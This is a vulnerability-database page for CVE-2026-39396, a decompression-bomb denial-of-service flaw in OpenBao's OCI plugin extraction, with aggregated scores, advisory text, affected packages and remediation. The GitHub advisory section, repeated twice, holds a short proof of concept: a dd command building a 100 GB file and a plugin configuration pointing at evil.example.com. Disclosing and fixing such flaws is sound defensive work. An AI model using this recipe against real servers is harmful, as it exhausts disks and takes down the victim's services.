Every CVE Search/ Get API key

CVE-2026-39396

OpenBao has Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

3.1 LowFix available

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature. Version 2.5.3 contains a patch.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
Low

Exploit likelihood

0.22%Up 0.2 points since Apr 21, 2026
90%50%10%1%

What each source reports

CVE List Score used 3.1

OpenBao has Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature. Version 2.5.3 contains a patch.

Record
CVE-2026-39396
CVSS 3.1
3.1 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L
Weakness
CWE-400, CWE-674, CWE-770
Updated
2026-11-02
EUVDEUVD-2026-24031 3.1

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature. Version 2.5.3 contains a patch.

Record
EUVD-2026-24031
CVSS 3.1
3.1 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-r65v-xgwc-g56j 3.1

OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

Summary

ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.

The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.

Details

Root cause

helper/pluginutil/oci/downloader.go:301:

if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {

io.Copy() reads until EOF with no size limit.
The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.

PoC

  1. Set up a malicious OCI registry
  2. Create a decompression bomb binary: 
    dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary
  3. Package it in a minimal OCI image
  4. Push to the malicious registry
  5. Configure victim OpenBao to use this registry: 
    plugin "secrets" "bomb" {
  image       = "evil.example.com/plugin"
  version     = "v1.0.0"
  binary_name = "openbao-plugin-secrets-bomb"
  sha256sum   = "0000000000000000000000000000000000000000000000000000000000000000"
}
plugin_auto_download = true
  6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS

Impact

  • Denial of Service: Disk exhaustion on the OpenBao server
  • Cascading failure: Co-located services (databases, other apps) also fail when the disk is full
  • Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up
  • Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded

Remediation

  1. Validate header.Size against a configurable maximum before opening the output file
  2. Wrap tarReader in io.LimitReader(tarReader, maxSize+1) and check bytes written after copy
  3. Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)
Record
GHSA-r65v-xgwc-g56j
CVSS 3.1
3.1 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L
Weakness
CWE-400, CWE-674, CWE-770
Updated
2026-11-02
NVD 3.1

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature. Version 2.5.3 contains a patch.

Record
CVE-2026-39396
CVSS 3.1
3.1 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-674, CWE-770
Updated
2026-11-02
OSVALPINE-CVE-2026-39396 6.5

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature. Version 2.5.3 contains a patch.

Record
ALPINE-CVE-2026-39396
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Updated
2026-11-03
OSV 3.1

OpenBao has Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature. Version 2.5.3 contains a patch.

Record
CVE-2026-39396
CVSS 3.1
3.1 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L
Weakness
CWE-400, CWE-674, CWE-770
Updated
2026-11-02
Show 5 moreShow less
OSVGHSA-r65v-xgwc-g56j 3.1

OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

Summary

ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.

The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.

Details

Root cause

helper/pluginutil/oci/downloader.go:301:

if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {

io.Copy() reads until EOF with no size limit.
The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.

PoC

  1. Set up a malicious OCI registry
  2. Create a decompression bomb binary: 
    dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary
  3. Package it in a minimal OCI image
  4. Push to the malicious registry
  5. Configure victim OpenBao to use this registry: 
    plugin "secrets" "bomb" {
  image       = "evil.example.com/plugin"
  version     = "v1.0.0"
  binary_name = "openbao-plugin-secrets-bomb"
  sha256sum   = "0000000000000000000000000000000000000000000000000000000000000000"
}
plugin_auto_download = true
  6. Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS

Impact

  • Denial of Service: Disk exhaustion on the OpenBao server
  • Cascading failure: Co-located services (databases, other apps) also fail when the disk is full
  • Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up
  • Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded

Remediation

  1. Validate header.Size against a configurable maximum before opening the output file
  2. Wrap tarReader in io.LimitReader(tarReader, maxSize+1) and check bytes written after copy
  3. Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)
Record
GHSA-r65v-xgwc-g56j
CVSS 3.1
3.1 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L
Weakness
CWE-400, CWE-674, CWE-770
Updated
2026-11-02
OSVBIT-openbao-2026-39396 No score

OpenBao has Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)

OpenBao is an open source identity-based secrets management system. Prior to version 2.5.3, ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written. An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file. The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature. Version 2.5.3 contains a patch.

Record
BIT-openbao-2026-39396
Updated
2026-11-02
OSVGO-2026-5609 No score

OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS) in github.com/openbao/openbao

OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS) in github.com/openbao/openbao

Record
GO-2026-5609
Updated
2026-11-02
OSVopenSUSE-SU-2026:10594-1 No score

openbao-2.5.3-1.1 on GA media

These are all security issues fixed in the openbao-2.5.3-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:10594-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/openbao/openbao
Go
 before 0.0.0-20260420180337-2b2a901aa9f7
0.0.0-20260420180337-2b2a901aa9f7
openbao
Alpine:v3.23
 before 2.5.4-r0
2.5.4-r0
openbao
Alpine:v3.24
 before 2.5.4-r0
2.5.4-r0
openbao
Bitnami
 before 2.5.3
2.5.3
openbao
openSUSE:Tumbleweed
 before 2.5.3-1.1
2.5.3-1.1
govulncheck-vulndb
openSUSE:Leap 16.0
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, aliases, referencesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-39396 is a low vulnerability (CVSS 3.1) in Openbao, published April 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.22%, the 12th percentile. Fixed in github.com/openbao/openbao 0.0.0-20260420180337-2b2a901aa9f7.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 1,543 references and the rest of 1 source description. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open